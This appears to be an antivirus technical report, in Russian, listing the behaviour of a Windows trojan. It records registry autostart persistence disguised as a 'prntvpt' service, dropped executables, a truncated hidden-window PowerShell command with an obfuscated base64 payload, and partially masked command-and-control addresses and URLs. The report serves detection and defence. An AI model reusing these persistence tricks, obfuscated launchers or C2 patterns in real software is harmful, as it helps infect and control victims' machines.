Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\prntvpt] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\prntvpt] 'ImagePath' = '"%WINDIR%\SysWOW64\FXSCOMEX\prntvpt.exe"'
- 'prntvpt' "%WINDIR%\SysWOW64\FXSCOMEX\prntvpt.exe"
- 'prntvpt' %WINDIR%\SysWOW64\FXSCOMEX\prntvpt.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABUAGMAegAyAGUAdgBnAD0AKAAnAEwAYwAnACsAKAAnADMAJwArACcAdwA2AGoAagAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBzAGUAUgBQAHIAbwBGAGkAbABFAFwAUABQAGoAUABEAEwASABcAE...
- %HOMEPATH%\ppjpdlh\hf22bph\vixtx0p0.exe
- %WINDIR%\syswow64\fxscomex\prntvpt.exe
- %HOMEPATH%\ppjpdlh\hf22bph\vixtx0p0.exe в %WINDIR%\syswow64\fxscomex\prntvpt.exe
- '96.#27.52.8':443
- http://ev###appen.com/wp-content/ja/
- http://96.##7.52.8:443/n78Xnuyn5py1d0z37/UudU1ja6oy2v/b2DJal/kmP3xF/ via 96.#27.52.8
- DNS ASK ev###appen.com
- '%HOMEPATH%\ppjpdlh\hf22bph\vixtx0p0.exe'
- '%WINDIR%\syswow64\fxscomex\prntvpt.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABUAGMAegAyAGUAdgBnAD0AKAAnAEwAYwAnACsAKAAnADMAJwArACcAdwA2AGoAagAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBzAGUAUgBQAHIAbwBGAGkAbABFAFwAUABQAGoAUABEAEwASABcAE...' (со скрытым окном)